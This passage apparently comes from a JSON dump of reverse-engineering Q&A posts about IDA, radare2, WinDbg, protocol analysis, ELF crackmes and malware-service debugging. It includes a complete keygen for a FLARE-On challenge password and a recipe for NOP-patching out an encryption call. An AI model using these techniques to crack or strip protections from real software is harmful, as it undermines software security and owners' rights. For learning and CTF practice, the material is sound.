But, in a more practical perspective, exploring all paths can be done only if you can easily run through all the path at runtime, which is not the case when the user is required to solve a challenge (possibly on-line) such as giving a password whose hash is stored in the program or prove that he posses a private key by signing a message and returning it to the software.

\n" }, { "Id": "10850", "CreationDate": "2015-09-13T07:54:06.430", "Body": "

When I launch IDA for the first time, I move my windows to reflect my perfect window setup. Then I save the desktop and set it as default, plus I additionally save a named backup.

\n\n

After this, I close IDA, launch it again, and everything works.

\n\n

However, after some time (days-weeks) I get message: \"incompatible saved desktop has been ignored\" and my desktop is completely reset to default. Restoring the desktop from the backup results in the same message. This has already happened a couple of times and each time it was very annoying. What is the reason for this behavior and how can I keep my desktop?

\n", "Title": "\"Incompatible saved desktop has been ignored\" in IDA", "Tags": "|ida|tools|", "Answer": "

This message is shown if a user changes screen resolution between IDA restarts, which happens particularly often when using IDA inside a virtual machine (which gets arbitrary resolution unless it's launched fullscreen). So to keep the desktop, make sure to maintain the same screen resolution when launching IDA.

\n\n

I haven't tested if the default desktop is overwritten as soon as IDA starts with different resolution than previous session. Having a named backup for this scenario certainly won't hurt.

\n" }, { "Id": "10860", "CreationDate": "2015-09-14T06:19:10.407", "Body": "

Ultranet is a audio protocol that allows low latency audio with many channels to be transmitted over standard Ethernet cables. For instance you might have a Midas sound desk transmitting audio packets to a chain of personal mixers on a stage.

\n\n

There is no documentation for it that I can find on the internet and I suspect that it's a Layer 1 protocol. In that it uses the hardware for Ethernet (cables and sockets etc) but not the wire format. The reason I believe this is that when I plugged my Macbook into the Ultranet output of a sound desk there was no IP and Wireshark saw exactly nothing on the wire. I tried setting a manual IP with a very wide mask but still got nothing.

\n\n

I have in the past successfully decoded the Mymix protocol which is Layer 3. That just showed up as a packet stream in Wireshark... easy. Each packet had a header and a payload of 6 24bit samples.

\n\n

I'm guessing the procedure starts with maybe an oscilloscope on the wires themselves? Or is there other things that I should investigate? (I have no idea how to use an oscilloscope btw... I know mostly software stuff).

\n\n

Is there standard procedures for reverse engineering wire protocols?

\n", "Title": "How do I work out the Ultranet protocol?", "Tags": "|packet|", "Answer": "

Others have provided clues about this particular protocol, so I'll just address the general mechanism of decoding a protocol. You have specified \"wire\" but this generic method can and has been applied to protocols over fiber and RF as well.

\n\n

Formulate a plan for investigation

\n\n

The best start is often not mentioned, but is quite important in practice. That step is to formulate a plan. What do you want to know about the protocol? What do you intend to do with the knowledge? What you know could include, as with your case, the name of the protocol and its purpose. It might also be any clues you can glean or infer. For example, you know that it's low latency audio with multiple channels. Do you have equipment that you can control and observe, or are you just passively listening? Are there regulatory agencies or standards bodies which might have documentation on the protocol? Have you looked for patents or patent applications? Are there protocols with similar purpose that you can read about?

\n\n

Investigate the signal visually

\n\n

The human eye and brain are remarkably good at pattern recognition, so a useful first step is to convert the signal of interest to a visual representation. For a wired 2-wire connection, I would usually start by using a simple multimeter across the line. That gives some rough indication of what voltages might be present. That's important for both personal safety and the safety of any other equipment you might attach. In this case, since it's over Ethernet cabling, and given the purpose, it's likely to be compatible with Ethernet voltages, and possibly using Ethernet voltages +/- 2.5V. So the next step I'd use would be to attach an oscilloscope. The simplest and most typical 'scope setup is simply a graph of voltage over time. This can give a lot of insight. For instance, are there discrete voltage levels used? If so, how many (2, 4, more?)? Does the signal appear to be packetized or is it more or less continuous? What is the shortest duration between changes in the signal? More advanced 'scopes have other useful functions, such as spectrum analysis and/or FFT and time and voltage measurement.

\n\n

Attempt to modify the signal in known ways

\n\n

If you have equipment that you can control, try changing just one thing to see how it affects the output signal. For example, try sending a 1kHz sine wave audio signal over a single channel. Now send the same signal over 2 channels. Try changing the audio frequency. Try changing the audio amplitude. All of these can lead you to some insight about the protocol.

\n\n

See if you can capture the signal in digital form

\n\n

If you can faithfully digitize the signal and store it as a file in your computer, then you have many many more resources available to you for investigation. You can do the spectrum analysis on your computer. You can try out theories about modulation type, channelization, and so forth all on the computer by using off-the-shelf or your own custom software. This is the fun part for most of us!

\n\n

Test your theory

\n\n

If you think you have figured out the protocol and if you have either equipment you can control or at least more samples you can observe, then test your theory with that data. See if your computer implementation of the protocol matches what you observe. Ideally, you'd also be able to build your own interface and pretend to be one end or the other of the protocol. In the case of audio gear, you're not likely to hurt anything if you're not quite correct. Other realms (such as vehicle engine controls) may very well require much more caution. See if you can test corner cases and error conditions.

\n\n

Share your results

\n\n

If you can, and if it's responsible to do so, consider sharing your results. Chances are that somebody out there somewhere also has the same interest. By sharing notes, you'll both make more progress than if either works in isolation. Many's the time that I've had great luck finding even a half-baked partial implementation on github or sourceforge or the like, saving me a ton of time. I try to share what I've found, too, in the same spirit.

\n\n

Good luck, and have fun!

\n" }, { "Id": "10862", "CreationDate": "2015-09-14T08:38:44.290", "Body": "

I have an application that calls a subroutine before sending the data over socket and in that subroutine the packet is being encrypted. Is there any way to make application skip that subroutine and send the packet as non-encrypted ?

\n", "Title": "Is it possible to make an application skip a call?", "Tags": "|ida|", "Answer": "

There is an ida tag, but your question doesn't mention it, so let's do that with radare2 instead ;)

\n\n

\"enter

\n\n

aa to analyse the binary, pdf to show the current function, wx to write hexpairs, and pdf again to check the result. It's also possible to use \"wa nop;nop;nop;nop;nop\" instead, if you prefer writing instructions, or even better, the magical wao nop command, to replace the current\n opcode with nop.

\n" }, { "Id": "10871", "CreationDate": "2015-09-16T10:57:35.347", "Body": "

I have a packet that I want to analyze which consists 16 bytes. I can produce as much as of these packets needed to analyze.

\n\n

Even though packet does the same thing on application the data in the packet seems to be changed each time. It works when I record the old packet and use it next time application runs. It also works when first or last 8 bytes are replaced with bytes from previously recorded packets.

\n\n

My aim is to be able to produce these packets myself. Here's some recorded packets:

\n\n
0xb1, 0xd0, 0x36, 0xe8, 0x1f, 0xdb, 0xc7, 0x36, 0x66, 0x39, 0x17, 0x15, 0xcc, 0xa1, 0x8a, 0x61\n0x17, 0x21, 0x6e, 0x45, 0x0d, 0x3f, 0x08, 0x86, 0xed, 0x55, 0x26, 0x19, 0xf6, 0x15, 0x6b, 0xb1\n0x08, 0xb9, 0xd7, 0xe9, 0xa8, 0x80, 0xea, 0x8c, 0x18, 0x5e, 0x92, 0xc5, 0xb7, 0x1a, 0xed, 0xf7\n0x2a, 0x12, 0x1c, 0x71, 0x36, 0x00, 0xb3, 0x6f, 0xbb, 0x7b, 0x57, 0x65, 0xe5, 0xa7, 0x45, 0xd4\n0x17, 0x21, 0x6e, 0x45, 0x0d, 0x3f, 0x08, 0x86, 0xcf, 0x5a, 0x95, 0xaa, 0x41, 0x88, 0xd3, 0xf1\n0xb1, 0xd0, 0x36, 0xe8, 0x1f, 0xdb, 0xc7, 0x36, 0x20, 0x68, 0x45, 0x26, 0x2d, 0xce, 0xc8, 0x32\n
\n", "Title": "How to analyze packets?", "Tags": "|protocol|packet|", "Answer": "

It may be the case that it's CBC-encrypted data, with the first field being a nonce. Or one of many other possibilities.

\n\n

Either way, as Guntram said in his comment above, you'd need to reverse engineer the software to determine how this data is parsed.

\n" }, { "Id": "10883", "CreationDate": "2015-09-16T21:12:28.210", "Body": "

Recently was doing some pydbg testing, so I had to remove the AeDebug entry (which determines the JIT debugger) in the registry, and Windbg was (and is) my JIT debugger. Exported the key before deleting it. It was:

\n\n
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\n
\n\n

and the values were:

\n\n
(Default) REG_SZ (value not set)\nAuto REG_SZ 1\nDebugger REG_SZ \"C:\\...\\windbg.exe\" -p %ld -e %ld -g\nUserDebuggerHotKey REG_DWORD 0x00000000 (0)\n
\n\n

Now I had to test some other stuff in Windbg, so I added the exported AeDebug key in the .reg file.

\n\n

However, when I attempt to run a few test assembly programs that contact int 3h/0xCC (which should make Windbg come up as my JIT debugger) instead my system freezes with no BSOD, and I have to power off/turn back on.

\n\n

I've deleted all of AeDebug and re-ran \"windbg -I\" to register it as my JIT debugger. However, I still get system freezes!

\n\n

Please help! It only occurs so far when code Im running contains an int 3h breakpoint in it.

\n\n

I tried running an assembly (masm32) program that I compiled with the following to test:

\n\n
.586\n.model flat, stdcall\n\noption casemap:none\n\nincludelib \\masm32\\lib\\kernel32.lib\nincludelib \\masm32\\lib\\user32.lib\n\ninclude \\masm32\\include\\kernel32.inc\ninclude \\masm32\\include\\user32.inc\ninclude \\masm32\\include\\windows.inc\n\n.code\nstart:\nxor eax, eax\nxor ebx, ebx\nxor ecx, ecx\nxor edx, edx\nint 3h\ninvoke ExitProcess, 0\nEND start\n
\n\n

However, the system still freezes. When I run windbg first and I step out of the breakpoint, it exits like normal but doesn't feeze my whole system.

\n\n

How can I get normal breakpoints again that dont cause undefined behavior?

\n", "Title": "Windows 7x86 System Freezes when running assembly program with int 3h", "Tags": "|windows|assembly|debugging|windbg|", "Answer": "

This occurs when you have kernel debugging enabled, but have not attached a kernel debugger.

\n\n

In short the freeze occurs when,

\n\n\n\n

For Windows XP, see the contents of boot.ini.\nIf boot.ini has a /debug flag it means kernel debugging is enabled.

\n\n

For Windows 7 and above you can use bcdedit or msconfig.\nYou can also use the command bcdedit | findstr debug to check if debug flag has been enabled.

\n\n

To fix the problem, just remove the debug flag from your boot entry.

\n" }, { "Id": "10892", "CreationDate": "2015-09-17T22:41:56.943", "Body": "

I have encountered a quite obscure 32-bit ELF file (that is a crackme) and I still cannot figure out how can it execute. First, beside some \"understandable\" property that it has not any section:

\n\n
# readelf --sections SimpleVM\n\nThere are no sections in this file.\n
\n\n

Considering the segments:

\n\n
# readelf --segments SimpleVM\n\nElf file type is EXEC (Executable file)\nEntry point 0xc023dc\nThere are 2 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  LOAD           0x000000 0x00c01000 0x00c01000 0x013c7 0x013c7 RWE 0x1000\n  LOAD           0x00019c 0x0804b19c 0x0804b19c 0x00000 0x00000 RW  0x1000\n
\n\n

I observe that the first segments LOAD has size 0x13c7 bytes, and mapped into memory at 0xc01000; the second one is not important because its size is zero. But, the entry point of the ELF file is at 0xc023dc, that means outside any segment LOAD!!!

\n\n

I use also IDA 6.8 (evaluation ver.) to load this file, and IDA says that the entry point is illegal.

\n\n

Since the program has no INTERP segment, the first executed instruction must be at 0xc023dc. But this address is outside any \"reliably\" mapped data, we cannot sure which instruction will be executed. I think that this ELF should have some random behaviors (e.g. it should be crashed usually), but it is not, it executes normally, without any crash.

\n\n

So my question is: how can this happen?

\n\n

NB1. In case of someone wants to look at this file, I give the link here, but please do not give directly the solution. I want to handle it myself.

\n\n

NB2. Using a Pintool to trace out what happens, I find the OEP of the program is at 0xc01dfa since its trace is:

\n\n
0xc023dc  mov dword ptr [0xc01bf0], 0x252e8 <=== modify address 0xc01bf0\n0xc023e6  jmp 0xc01bf0\n0xc01bf0  call 0xc01e47                     <=== modified instruction\n0xc01e47  pop ebp                           <=== OEP\n0xc01e48  call 0xc01dfa\n0xc01dfa  pop esi\n0xc01dfb  lea eax, ptr [ebp-0x9]\n0xc01dfe  mov edi, dword ptr [eax]\n0xc01e00  sub eax, edi\n0xc01e02  mov edx, eax\n0xc01e04  add eax, dword ptr [eax+0x48]\n0xc01e07  add eax, 0xfff\n0xc01e0c  and eax, 0xfffff000\n0xc01e11  push 0x1\n0xc01e13  push eax\n....\n
\n\n

But I still cannot understand why the instruction at 0xc023dc is always mov dword ptr [0xc01bf0], 0x252e8 (so the binary is somehow \"self-modified\")

\n", "Title": "Illegal entry point of an ELF file", "Tags": "|disassembly|elf|", "Answer": "

File/memory mappings are always multiples of the page size, on x86 this is usually 4k. The mapping length here, 0x13c7 will be rounded up to a multiple of the page size meaning that 0x2000 bytes will be mapped. If you look the raw file at offset 0x13dc you should find these 'extra' instructions.\nThe rounding up to page size is necessary because the memory manager and processor page tables work on 4k granularity to reduce the overhead of memory management.

\n\n

There is self-modification going on too. It is the write to memory from the instruction at 0xc023dc which creates the CALL (0xE8) instruction you see at address 0xC01BF0. This won't be in the raw file. The write to the code is possible because the code is, unusually, mapped with write (W) access in the program header.

\n" }, { "Id": "10894", "CreationDate": "2015-09-18T07:58:06.017", "Body": "

I have a GUI app that seems to use registry.\nSo I wanna know if I can capture that function that access registry and check if it's activated because this app doesn't use windows directory, it's just a click and a GUI pops pup.

\n\n

Is it possible to identify how the app uses registry, how?

\n", "Title": "GUI apps uses registry,how?", "Tags": "|executable|register|", "Answer": "

To see which registry keys your applications accesses while running, use Procmon. If you want to monitor more DLL calls than mere registry accesses, i recommend API Monitor.

\n" }, { "Id": "10896", "CreationDate": "2015-09-18T08:28:19.763", "Body": "

I am trying to reverse engineer a packet protocol and I was abled to find a subroutine which is likely to be an encryption function. I do not know much about cryptography but it looked like a CBC encryption. Here's the pseudocode I got from IDA: http://pastebin.com/UGYpbthr and here is a part from the original subroutine: https://i.stack.imgur.com/EBlQa.png also here's a part from where the subroutine is called: https://i.stack.imgur.com/2S9Nc.png . Is it possible to translate this pseudocode to C code without further reverse engineering ? If so how should I do it ?

\n", "Title": "How to translate IDA pseudocode to C/C++ code?", "Tags": "|ida|packet|", "Answer": "

This specific pseudocode is actually regular C code because it doesn't access global variables and stack. You'll probably need to add some typedefs for basic types.\nPlease note that this code should be compiled as 32 bit code (or any other where sizeof int is equal to sizeof of pointer for your specific system) to avoid problems with pointer sizes.

\n" }, { "Id": "10901", "CreationDate": "2015-09-18T19:00:49.113", "Body": "

I know hooking is usually used as a technique when one would rather use external (or injected) code to manipulate an executable, vs breakpoints which are usually set by a debugging framework in an attached executable.

\n\n

Why would one prefer hooking function calls rather than setting a breakpoint?

\n\n

The only examples I can think of are:

\n\n\n\n

Can anyone think of reasons other than these?

\n", "Title": "Why hook a function rather than set a breakpoint", "Tags": "|debugging|malware|function-hooking|breakpoint|", "Answer": "

Both hooks and debuggers are easy enough to detect if you're looking for them. Using API in order to read the debugee's memory by the debugger is no real disadvantage, in my opinion.

\n\n

I find debugging to be more documented, resilient and OS supported than any manual hooking.\nAlthough Microsoft for example provides the Detours hooking library, this is still not a functionality supported by the OS and Microsoft highlights that usage of hooking is discouraged.

\n\n

The major reason I often see hooking being used instead of debugging is for the following reasons:

\n\n
    \n
  1. Monitoring the entire system is required instead of specific processes.
    2. \n
  2. There's no need to trace the full flow of execution, but instead only record specific events (such as network communication, for example).
    3. \n
\n\n

Although hooking could potentially be used for debugging, these two techniques are usually used for completely different things.

\n" }, { "Id": "10906", "CreationDate": "2015-09-19T10:06:11.190", "Body": "

I'm trying to RE a Windows executable compiled with VS 2008. After the initial autoanalysis most functions are detected correctly; however, some have wrong end address \u2014\u00a0for some reason IDA places the end of the function earlier, leaving a chunk of code not associated with any function. The undetected function gets noreturn attribute and often has sp-based autoanalysis failed message. I have fixed most of these problems by hand. The problem is that Hex-Rays seems to use autodetected function boundaries and therefore the decompilation fails after a jump inside the function, which looks like a jump outside to Hex-Rays.

\n\n

Example hex-rays output:

\n\n
void __thiscall sub_403CE0(void *this, unsigned int a2, int a3)\n{\n    sub_407F30(this, a2, a3);\n    JUMPOUT(locret_403CFD);\n}\n
\n\n

As you can see, there is a JUMPOUT statement at the end of the function. This was correct before the function boundaries were adjusted, but now locret_403CFD belongs to the function itself and is not a jump \u201cout\u201d. Is there a way to tell hex-rays the function doesn't end here and pass a correct function start/end addresses to it?

\n", "Title": "Hex-Rays: JUMPOUT statements inserted due to incorrect autodetected function boundaries", "Tags": "|ida|hexrays|", "Answer": "
    \n
  1. check if jump destination is a continuous area behind the function, if true, alt+p, adjust function range.
    2. \n
  2. if not, first undefine target area, then use IDA-built-in function \"append_func_tail\" to add that chunk to owner function. here is the IDA-reference doc link
    3. \n
  3. one jump out done. if there is too many, then write a script to automate it.
    4. \n
\n" }, { "Id": "10908", "CreationDate": "2015-09-20T05:31:06.363", "Body": "

What does mov [edi+68h], eax mean in the following asm code

\n\n
.text:0083FB35       call    esi ; RegisterWindowMessageW\n.text:0083FB37       push    offset My_Priv8_Msg ; \"MY_PRIVATE_MSG\"\n.text:0083FB3C       mov     [edi+68h], eax\n
\n", "Title": "What does \u201cmov [edi+68h], eax\u201d mean?", "Tags": "|disassembly|assembly|winapi|", "Answer": "

The result of the call to the RegisterWindoMessageW is stored in eax. esi is a pointer and the code is saving the result of the function call to the address pointed to by esi plus offset 68h.

\n" }, { "Id": "10910", "CreationDate": "2015-09-20T08:10:13.927", "Body": "

I am trying to reverse engineer a malware that open a windows service dynamically in OllyDbg. \nWhen the malware calls StartServiceCtrDispatcherW, I receive an error: \n\"enter

\n\n

How I can continue to analyze this malware dynamically?

\n\n

Note: I already used Image File Execution Options

\n", "Title": "Reversing a Windows service", "Tags": "|windows|ollydbg|malware|", "Answer": "

If you want to debug the service initialization and it happens automatically (not triggered by some action you perform), you probably can't do it on any Windows newer than XP with ollydbg. You'll have to use WinDbg.

\n\n

You need to set IFEO Debugger for your process name to run CDB as server (e.g. cdb.exe -server tcp:port=12345 -noio) and the run WinDbg as a client and connect to your server (windbg.exe -remote tcp:server=localhost,port=12345).

\n\n

You'll probably want to change the HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ServicesPipeTimeout Registry value to be a bit longer. This is the time the SCM waits for a service it runs to talk to it.

\n\n

If you don't have to debug the initialization you can simply attach to the service after it starts, and then you can use ollydbg.

\n\n

All of this and pretty much everything you need to know is documented under the MSDN page titled Debugging a Service Application.

\n\n
\n\n

Edit: If patching the binary is possible you can add an infinite loop in the entry point like gandolf suggested and then attach a debugger after you log in.

\n\n

Or, if the binary doesn't do any SEH tricks that interfere with it: Add an exception to the entry point (0xCC - int 3 is the obvious choice), set AeDebug to a long running process (such as notepad.exe) and then attach a debugger. This is what Inside Windows Debugging proposes (p. 139).

\n\n

Or, what's even easier and makes even more sense: Add the same INT3, and set AeDebug to the same cdb.exe command-line as you would put in IFEO and connect WinDbg to it after you log in.

\n" }, { "Id": "10914", "CreationDate": "2015-09-20T15:06:08.960", "Body": "

I'm trying to bruteforce a password in a 32bit Windows application (this is challenge 9 of http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip), using the inscount0 pintool (https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool) and Powershell. This is possible because the password is actually checked letter by letter in the code. If a letter is correct, the program continues to the second letter (and so on), but if a letter is incorrect, the program terminates. The difficulty comes from the fact that the application is interactively prompting a password instead of passing it as an argument to the executable.

\n\n

I've been able to make it work with the following Powershell script:

\n\n
add-type -AssemblyName System.Windows.Forms\n\nfor($i=32; $i -le 126; $i++){\n\n  # \"I\" is the first known letter of password\n  $pass_guess = \"I\" + [char]$i + \"..........\"\n\n  # Launch pin\n  Start-Process -FilePath pin.exe -ArgumentList '-t inscount0.dll -- ch9.exe'\n\n  # send user input\n  start-sleep -Milliseconds 500\n  [System.Windows.Forms.SendKeys]::SendWait(\"$pass_guess{ENTER}\")\n\n  # Read content of count in file\n  start-sleep -Milliseconds 500\n  Write-Output $pass_guess\n  Get-Content .\\inscount.out\n\n}\n
\n\n

It actually works fine and here is the output that confirmed the 1st letter of the password should by \"I\":

\n\n
PS C:\\pin> .\\myscript.ps1\n[removed]\nH..........\nCount 32890\nI..........\nCount 32852\nJ..........\nCount 32890\n[removed]\n
\n\n

Indeed, the check for \"I\" is performed by the program with a different number of instructions as with other letters.

\n\n

Anyway, if this script is working, it is obviously not optimized because the script is launching the program in a popup window for each occurrence in the loop.

\n\n

I would like to know how I could improve this script. Many thanks in advance for your help.

\n", "Title": "Launch pintool expecting user input from Powershell", "Tags": "|pintool|", "Answer": "

in powershell use -NoNewWindow Switch if you do not want the new process to be started in a popup window

\n\n
Start-process -FilePath \".\\XXXXXXX\" -ArgumentList \"xxxx yyy ddd\" -NoNewWindow\n
\n\n

btw i read your solution and it seems the challenge doesnt check just one character and proceeds to terminate itself on failure of first it seems to check all of the 41 characters

\n\n

a simple windbg oneliner below

\n\n
cdb -c \"bp 401a9f \\\".printf \\\\\\\"%c\\\\\\\",@al;gc\\\";g;q\" flachal9.exe\n0:000> cdb: Reading initial command 'bp 401a9f \".printf \\\"%c\\\",@al;gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password> abracadabragiligilichoobabygiligilichooyammayammabooo\nabracadabragiligilichoobabygiligilichooyaYou are failure\nquit:\n
\n\n

it xors each of the character with the corresponding bytes as below

\n\n
cdb -c \"bp 401ad5 \\\".printf \\\\\\\"%02x \\\\\\\",@ah;gc\\\";g;q\" flachal9.exe\n0:000> cdb: Reading initial command 'bp 401ad5 \".printf \\\"%02x \\\",@ah;gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password> abracadabragiligilichoobabygiligilichooyammayammabooo\n\n46 15 f4 bd ff 4c ef 46 eb e6 b2 eb f1 c4 34 67 39 b5 8e ef 40 1b 74 0d 60 26 45\n a8 4a 96 c9 65 e2 32 60 64 8c 65 e3 8e 9f You are failure\nquit:\n
\n\n

and rotate-lefts(ROL) the result with the bytes below

\n\n
cdb -c \"bp 401b14 \\\".printf \\\\\\\"%02x \\\\\\\",@cl;gc\\\";g;q\" flachal9.exe\n0:000> cdb: Reading initial command 'bp 401b14 \".printf \\\"%02x \\\",@cl;gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password> abracadabragiligilichoobabygiligilichooyammayammabooo\n\n56 f5 ac 1b b5 93 7e b8 23 da 0a f2 01 61 5c c8 4c d6 16 55 67 b8 c1 f8 bc 11 fa\n 9b 6b f9 d4 75 87 ca ce be 4e 6e f1 b9 6e You are failure\nquit:\n
\n\n

and cmpexchg with the bytes below

\n\n
cdb -c \"bp 401b14 \\\".printf \\\\\\\"%02x \\\\\\\",by(@ebx+@esp+2c);gc\\\";g;q\" flachal9.exe\n0:000> cdb: Reading initial command 'bp 401b14 \".printf \\\"%02x \\\",by(@ebx+@esp+2c);gc\";g;q'\nI have evolved since the first challenge. You have not. Bring it.\nEnter the password> abracadabragiligilichoobabygiligilichooyammayammabooo\n\nc3 cc ba 4e f2 eb 27 19 c6 42 06 16 5d 53 55 0e 66 f4 f9 30 9a 77 56 6b f0 8e dc\n 2e 50 e1 5a 80 48 5d 53 c2 b8 d2 01 c3 bc You are failure\nquit:\n
\n\n

with these three arrays it is possible to keygen the key

\n\n

keygen src

\n\n
#include <stdio.h>\n#include <intrin.h>\nunsigned char xorseed[] = {\n   70, 21,244,189,255, 76,239, 70,235,230,178,235,241,196, 52,103, 57,181,142,239, 64,\n   27,116, 13, 96, 38, 69,168, 74,150,201,101,226, 50, 96,100,140,101,227,142,159,  0\n};\n//array contains original bytes  % 20\nunsigned char rolseed[] = {\n  22, 21, 12, 27, 21, 19, 30, 24,  3, 26, 10, 18,  1,  1, 28,  8, 12, 22, 22, 21,  7,\n  24,  1, 24, 28, 17, 26, 27, 11, 25, 20, 21,  7, 10, 14, 30, 14, 14, 17, 25, 14,  0  \n};\nunsigned char cmpseed[] = {\n  195,204,186, 78,242,235, 39, 25,198, 66, 06, 22, 93, 83, 85, 14,102,244,249, 48,154,\n  119, 86,107,240,142,220, 46, 80,225, 90,128, 72, 93, 83,194,184,210, 01,195,188,  0  \n};\nunsigned char key[50] ={0};\nint main (void) {\n  for(int i = 0; i<42;i++) {\n   key[i] = _rotr8(cmpseed[i],rolseed[i]) ^ xorseed[i];\n  printf(\"%c\",key[i]);\n  }\n  return 0;  \n}\n
\n" }, { "Id": "10921", "CreationDate": "2015-09-21T09:17:15.207", "Body": "

I was making C++ addon headers for BlockLauncher Addon with IDA, reverse engineering libminecraftpe.so file.\nWhile doing that, i got trouble.\nI want to see specific class's non-static members but i cant find non-static member view.\nIs there a way to see non-static members?

\n", "Title": "Can i see non-static members of a class with IDA?", "Tags": "|ida|c++|", "Answer": "

Non static members are allocated as a structure. For virtual functions there is also a pointer to a table of pointers that is the first offset in the structure. Each class member is a specific offset from the beginning of the structure. The easiest way to see this is to create a class, and assign different members to values that you know. Then look in IDA and see the offsets that are modified with those known values.

\n\n

Here is a good article that describes the layout. http://www.openrce.org/articles/full_view/23

\n" }, { "Id": "10924", "CreationDate": "2015-09-21T14:40:37.160", "Body": "

How to translate code assembly to C?? I am very poor in assembly code. EG:

\n\n
mov     dword ptr [ebp+data], 612E2F47h\nmov     dword ptr [ebp+data+4], 5B2A451Ch\nmov     dword ptr [ebp+data+8], 6E6B5E18h\nmov     dword ptr [ebp+data+0Ch], 5C121F67h\nmov     dword ptr [ebp+data+10h], 0D5E2223h\nmov     dword ptr [ebp+data+14h], 5E0A5F1Dh\nmov     word ptr [ebp+data+18h], 858h\nmov     word ptr [ebp+data+1Ah], 0h\nxor     eax, eax                \nloc_4012B2:                             \nadd     [ebp+eax+data], al      \ninc     eax                     \ncmp     eax, 1Ah                \njl      short loc_4012B2\n
\n", "Title": "Translate ASSEMBLY to C", "Tags": "|assembly|c|", "Answer": "

Here is exact answer to you question.

\n
    \n

  1. Go to http://www.tutorialspoint.com/compile_assembly_online.php

    \n
    2. \n

  2. Doubleclick on main.asm in upper-left corner of the screen

    \n
    3. \n

  3. Copy your snippet to the text window. You'll need to add definition of data and make some tweaks, my resulting assembly code is

    \n
    section     .text\nglobal main\nmain:\n\nxor ebp,ebp\n\nmov      dword [ebp+data], 0x612E2F47\nmov      dword [ebp+data+4], 0x5B2A451C\nmov      dword [ebp+data+8], 0x6E6B5E18\nmov      dword [ebp+data+0Ch], 0x5C121F67\nmov      dword [ebp+data+10h], 0x0D5E2223\nmov      dword [ebp+data+14h], 0x5E0A5F1D \nmov      dword [ebp+data+18h], 0x858\nmov      dword [ebp+data+1Ah], 0x0\nxor     eax, eax                \nloc_4012B2:                             \nadd     [ebp+eax+data], al      \ninc     eax                     \ncmp     eax, 1Ah                \njl      short loc_4012B2\nnop\nnop\n\n\nsection     .data\n\ndata    db 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0\n
    \n
    4. \n

  4. Press compile button

    \n
    5. \n

  5. Go to project menu, download the project, extract demo file from the archive

    \n
    6. \n

  6. Go to retdec decompiler site

    \n
    7. \n

  7. Select executable input file and upload your binary file there

    \n
    8. \n

  8. Press decompile

    \n
    9. \n

  9. See results

    \n
    10. \n
\n

I wouldn't say that results of this translation to C code are too much understandable.\nIn addition I'd like to note that learning 6 assembly commands is much less time consuming process.

\n" }, { "Id": "10946", "CreationDate": "2015-09-24T19:02:42.343", "Body": "

I want to get into reverse engineering and eventually be able to read the memory of a specific game during runtime and work with this data. For this purpose I have been doing research on that topic and was considering to start with a simple task to learn about the proper tools and stuff like finding offsets for various information.

\n\n

I wanted to open an instance of the notepad editor, write some text into it and then access this text from another program after figuring out the right addresses. Although it seems as if OllyDbg is a famous choice I had problems to attach it to my notepad process. (Apparently some problem with the 64-bit Windows 10 would be my first guess here.)

\n\n

Anyways, I was curious if you can suggest me tools and alternatives for OllyDbg to get into this, especially proving the possibility to search the memory contents with specific patterns, in my sample case the text I entered on screen.

\n", "Title": "Tools to get started with reading memory during runtime", "Tags": "|windows|ollydbg|tools|memory|", "Answer": "

ReClass is used to rebuild structures/classes in memory and will output C/C++ compatible structures that you can easily copy into existing code. Really neat too. I've used it personally to access vtables

\n\n

It is also EXTREMELY effective at following pointers in memory and previewing data

\n\n

How to use ReClass

\n\n

This guy does a good job of explaining how it is used in game hacking

\n" }, { "Id": "10949", "CreationDate": "2015-09-25T01:55:28.353", "Body": "

the test is on 32-bit x86. I compiled the code with gcc 4.2, optimization level o2. I compiled the C code into binary, and then use objdump to disassemble it.

\n\n

Here are two sequences of instructions used for the function prologue:

\n\n
0804a6f0 <quotearg_n>:\n804a6f0:       8b 44 24 04             mov    0x4(%esp),%eax\n804a6f4:       b9 ff ff ff ff          mov    $0xffffffff,%ecx\n804a6f9:       8b 54 24 08             mov    0x8(%esp),%edx\n804a6fd:       c7 44 24 04 40 e1 04    movl   $0x804e140,0x4(%esp)\n804a704:       08 \n804a705:       e9 c6 fa ff ff          jmp    804a1d0 <quotearg_n_options>\n804a70a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi\n\n\n0804a730 <quotearg>:\n804a730:       83 ec 1c                sub    $0x1c,%esp\n804a733:       8b 44 24 20             mov    0x20(%esp),%eax\n804a737:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)\n804a73e:       89 44 24 04             mov    %eax,0x4(%esp)\n804a742:       e8 a9 ff ff ff          call   804a6f0 <quotearg_n>\n804a747:       83 c4 1c                add    $0x1c,%esp\n804a74a:       c3                      ret\n804a74b:       90                      nop\n804a74c:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi\n
\n\n

Note that in function quotearg, register esp is decreased with 0x1c before it is used to access the stack and get some arguments. Accutually according to my experience, I think the sub then access pattern is quite common for instructions compiled with O2.

\n\n

However, note that in function quotearg_n, register esp is directly added with 0x4 to access the stack. (I think the meaning of instruction at address 0x804a6f0 is to put the return address of call site to register eax, am I right..?) According to my observation, the pattern used by the first function is rare, around 5% for gcc compiled middle size C program with O2.

\n\n

So here is my question:

\n\n

Why does compiler generate function prologue instructions in a way similar to quoterag_n? What is the exact meaning of the first three instructions start from address 0x804a6f0?

\n\n

Why doesn't compiler always generate function prologue instructions following the sub then access pattern? (such as quoterag)

\n\n

Am I clear? thanks a lot

\n", "Title": "What is the difference between these two function prologue instruction sequences?", "Tags": "|assembly|x86|c|gcc|", "Answer": "

It seems like the functions are defined like this:

\n\n
int quotearg_n(int a, int b) {\n    return quotearg_n_options(a, b, -1, \"some_string\");\n}\n\nint quotearg(int a) {\n    return quotearg_n(0, a);\n}\n
\n\n

